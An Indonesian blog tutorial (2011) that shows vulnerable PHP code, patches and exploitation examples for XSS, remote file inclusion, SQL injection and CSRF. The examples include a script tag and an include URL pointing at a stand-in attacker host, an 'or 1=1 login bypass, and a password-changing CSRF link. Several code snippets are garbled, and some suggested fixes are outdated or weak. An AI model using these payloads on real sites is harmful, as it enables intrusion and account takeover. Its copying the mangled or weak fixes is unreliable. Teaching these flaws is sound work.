Monday, December 12, 2011

Web Security Yin-Yang

"If you know both yourself and your enemy, you can win a hundred battles without a single loss."
Di berbagai segi kehidupan, sangatlah di butuhkan keseimbangan. Bahkan yang sangat terkenal adalah sebuah ungkapan dari Sun Tzu yang saya tuliskan diatas, mengenali kelemahan musuh adalah penting, tetapi lebih penting lagi mengenali kelemahan diri sendiri, karena dengan begitu kita dapat seimbang dala, bertahan dan menyerang.

Saya harap artikel ini nantinya akan dapat menjadi referensi singkat yang membahas tentang menyerang dan bertahan dalam dunia keamanan web (web security), dan artikel ini diharapkan juga bisa menjadi titik mula bagi yang tertarik dengan keamanan web, sekaligus pembuka mata bagi para programmer web agar sedikit banyak mulai menaruh perhatian pada keamanan aplikasi yang meraka buat.

Artikel ini akan membahas beberapa jenis celah keamanan web yang umumnya selalu menjadi primadon dikalangan para pemerhati keamanan web, tetapi bahasan disini bukan mencakup detil tiap celah, tetapi lebih ke arah Proof-of-concept dari cara bertahan dan menyerang. Disajikan dengan menggunakan PHP sebagai bahasa pemrograman "dynamic", HTML, serta mysql sebagai "database engine".

Formatnya pun akan selalu sama, penyajian kode yang memiliki celah, cara memperkuatnya (bertahan) kemudian diikuti dengan bagaimana metode untuk mengexploitasinya. Jangan berharap artikel ini akan mengajarkan anda dari Nol, bagaimana membuat web, mengkode dengan PHP dan mysql, atau penjelasan detil (pengertian-panjang-lebar) tentang setiap celah.

Partisipasi aktif andalah yang akan menentukan apakah artikel ini akan bermanfaat buat anda nantinya http://www.indonesianhacker.or.id/images/smilies/1.gif

===// Yin-Yang \\===

====// XSS Reflected \\====

kode yang memiliki celah untuk di serang:

--------\\ sweet.php
PHP Code:
echo 'Selamat Datang' $_GET['sweet']; 
--------//

Adapun kode untuk melindungi adalah dengan menambahkan fungsi "strip_tags" atau "htmlspecialchars" untuk memeriksa variabel tersebut terlebih dahulu.

--------\\sweet-patch.php
PHP Code:
echo 'Selamat Datang' strip_tags($_GET['sweet']); 
atau
PHP Code:
echo 'Selamat Datang' htmlspecialchars($_GET['sweet']); 
--------//

------// Eksploitasi \\------
Code:
sweet.php?sweet=<script>alert("XSS")</script>

====// XSS Persistent \\====

kode yang memiliki celah untuk di serang:

--------\\ sweet.php
PHP Code:
    $sweet  trim($_POST['txtSweet']); 
    $sweet  mysql_real_escape_string($sweet); 
    $query  "INSERT INTO sweet (sweet) VALUES ('$sweet');"
--------//

Adapun fungsi yang digunakan untuk mengamankannya adalah "stripslashes", "addslashes", "htmlspecialchars"

--------\\sweet-patch.php
PHP Code:
       $sweet stripslashes($sweet);
      $sweet mysql_real_escape_string($sweet);
       $sweet htmlspecialchars($sweet); 
   
      $query "INSERT INTO sweet (sweet) VALUES ('$sweet');"
--------//

------// Eksploitasi \\------
Code:
sweet.php?sweet=<SCRIPT SRC=http://dare.dev.il/evil.js?<B>
Bedanya, xss exploit ini akan tersimpan ke database dan akan selalu di eksekusi setiap halaman sweet.php di load, selanjutnya tinggal keahlian anda berkreasi pada script evil.js

====// File Inclusion \\====

Kode yang memiliki celah untuk di serang:

--------\\berkas.php
PHP Code:
$file $_GET['halaman']; 
--------//

Adapun Untuk mengamankan berkas.php, cukup dengan mendefinisikan file yang
ingin kita include secara pasti.

--------\\berkas-patch.php
PHP Code:
        $file $_GET['halaman']; 

        // hanya mengijinkan sweet.php
        if ( $file != "sweet.php" ) {
            echo "ERROR: File not found!";
            exit;
        } 
--------//

|------
| Atau untuk melengkapinya, silahkan melakukan serring "Off" pada Directive
| allow_url_fopen
| allow_url_include
| pada php.ini
|------

------// Eksploitasi \\------
Code:
berkas.php?halaman=http://dare.dev.il/evil.php
Selanjutnya tergantung keahlian anda berkreasi pada script evil.php, agar berbagai perintah dalam evil.php dapat tereksekusi, ada beberapa syarat lain yang harus dipenuhi, dan ini menjadi PR anda untuk mencari tahu.

====// SQL Injection \\====

SQL injection adalah salah satu teknik yang cukup tua untuk dibahas, celah ini pada web aplikasilah yang paling banyak memberikan andil kepada terkuasainya banyak webserver. Celah ini bisa saya bilang multiplatform karena bisa Database dapat berpasangan dengan bahasa permrograman apapun dan berjalan di sistem-operasi apapun.

Untuk teknik ini saya tidak ingin panjang lebar, tetapi khusus untuk celah lawas ini, kode yang akan saya berikan lengkap, dan bagi para pencinta "salin & tempel" akan dengan mudah dapat mengapliaksikannya, hmm sepertinya tidak juga, karena setidaknya kamu harus paham database, membuat tabel dan mengkoneksikannyadengan php

Ok, berikut adalah kode yang telah memiliki tempat sendiri dalam sejarah keamanan aplikasi web :lol:

--------//vulnlogin.php
PHP Code:
<table>
<form name="member" method="post" action="#">
<tr><td colspan="2"><b>Member Login</b></tr>
<tr>
<td>Username</td>
<td><input type="text" name="username" value="" size="40">
</tr>

<tr>
<td>Password</td>
<td><input type="password" name="password" value="" size="40">
</tr>

<tr><td colspan="2">
<input type="submit" name="submit" value="Submit">
<input type="reset" name="reset" value="Reset">
</td></form>
</table>
        
<?php
include 'config.php'// ini adalah konfigurasi koneksi aplikasi ke database, 
ga bisa buat? :lol:

$username $_POST['username'];
$password $_POST['password'];

$q "SELECT username, password FROM member WHERE username = '$username' AND \
password = '$password' ";

$r mysql_query($q);
if (!$r) {
    print mysql_error();
} else {
    $row mysql_fetch_row($r);
    if (($row[0] != "") && ($row[1] != "")) {
        echo "&nbsp;&nbsp;<a href=somerandompagesnameforyou.php>Yeah, you are in!</a>";
    } else {
        echo"<pre> &nbsp;&nbsp;You need to register as a member to login! </pre>";
    }
}
?>
--------//

dan untuk mengamankannya adalah dengan melakukan filtering pada kedua
variabel "username" dan "password"
PHP Code:
$username stripslashes($username);
$username mysql_escape_string($username);
$password stripslashes($password);
$password mysql_real_escape_string($password); 
|----
| Untuk memperkuatnya, seandainya ada yang terlewat, melakukan setting
| "On" untuk
| magic_quotes_gpc
| pada setting PHP.ini
|----

------// Eksploitasi \\------

Masukkan 'or '1=1'' (l33t) pada input box username/password untuk membypass
login, sehingga rikues akan jadi seperti ini

|----
|
PHP Code:
SELECT usernamepassword FROM member WHERE username ''or'1=1''' AND password ''or'1=1''' 
|---

Selanjutnya, anda simpulkan sendiri

===// Cross Site Requesr Forgery \\===

Kode berikut adalah mempertunjukkan sebuah halaman ganti password untuk admin, yang tidak melakukan pemeriksaan password saat ini, sehingga memungkinkan celah CSRF digunakan.

--------\\ganti.php
PHP Code:
<?php
                
    if (isset($_GET['ganti'])) {
        $pwd_baru $_GET['pwd_baru'];
        $pwd_baru2 $_GET['pwd_baru2'];


        if (($pwd_baru == $pwd_baru2)){
            $pwd_baru mysql_real_escape_string($pwd_baru);
            $pwd_baru md5($pwd_baru);

            $insert="UPDATE `users` SET pwd = '$pwd_baru' WHERE user = 'admin';";
            $result=mysql_query($insert) or die('<pre>' mysql_error() . '</pre>' );
                        
            echo "<pre>Password Admin Berubah </pre>";        
            mysql_close();
        }
        else{        
            echo "<pre> Password tidak cocok. </pre>";            
        }

    }
?>
--------//

Adapun untuk memperbaikinya adalah, dengan melakukan pemeriksaan password saat ini terlebih dahulu sebelum merubah password

--------\\ganti-patch.php
PHP Code:
<?php
            
    if (isset($_GET['ganti'])) {
        $pwd $_GET['pwd'];
        $pwd_baru $_GET['pwd_baru'];
        $pwd_baru2 $_GET['pwd_baru2'];

        $pwd stripslashes$pwd );
        $pwd mysql_real_escape_string$pwd );
        $pwd md5$pwd );
        
        // Periksa password saat ini (pwd)
        $qry "SELECT pwd FROM `users` WHERE user='admin' AND pwd='$pwd';";
        $result mysql_query($qry) or die('<pre>' mysql_error() . '</pre>' );

        if (($pwd_baru == $pwd_baru2) && ( $result && mysql_num_rows$result ) == )){
            $pwd_baru mysql_real_escape_string($pwd_baru);
            $pass_new md5($pwd_baru);

            $insert="UPDATE `users` SET pwd = '$pwd_baru' WHERE user = 'admin';";
            $result=mysql_query($insert) or die('<pre>' mysql_error() . '</pre>' );
                        
            echo "<pre> Password Admin Berubah </pre>";        
            mysql_close();
        }
    
        else{        
            echo "<pre> Passwords Baru tidak cocok atau password lama anda salah. </pre>";            
        }

    }
?>
---------//

------// Eksploitasi \\------

Adapun cara eksploitasinya adalah melibatkan kelalaian sang admin, umumnya attacker akan mengirim link tersbut ke email, atau melalui forum dsb dengan harapan sang admin akan meng-click-nya.
Code:
<a href=http://nice.ang.el/ganti.php?pwd=&pwd_baru=dudul&pwd_baru2=dudul&ganti=ganti#>klik saya</a>
===// Penutup \\===

Oke, saya harap anda semua yang membaca akan pusing, dan disinilah orang-orang terpilih akan mengikis pembaca lainnya, yup, dengan cepat anda akan segera mencoba dan mencari tahu apa yang saya tulis disini, google! sejak awal di luncurkan adalah referensi terbaik.

Pelajari berbagai fungsi-fungsi yang saya singgung diatas, secara pelan dan jangan terburu-buru http://www.indonesianhacker.or.id/images/smilies/1.gif, selebihnya selamat datang di dunia web aplikasi yang 'penuh dengan intrik-intrik, dan semoga sedikit dari saya dapat bermanfaat untuk semua. Logika anda sangat di perlukan disini!


Post Title: Web Security Yin-Yang
Rating: 3.5
Author: Belly Saputra
Page Name: Web Security Yin-Yang - Screamcode - tutorial lengkap update dan dofollow
Page Url : http://screamcode.blogspot.com/2011/12/web-security-yin-yang.html


0 komentar:

Post a Comment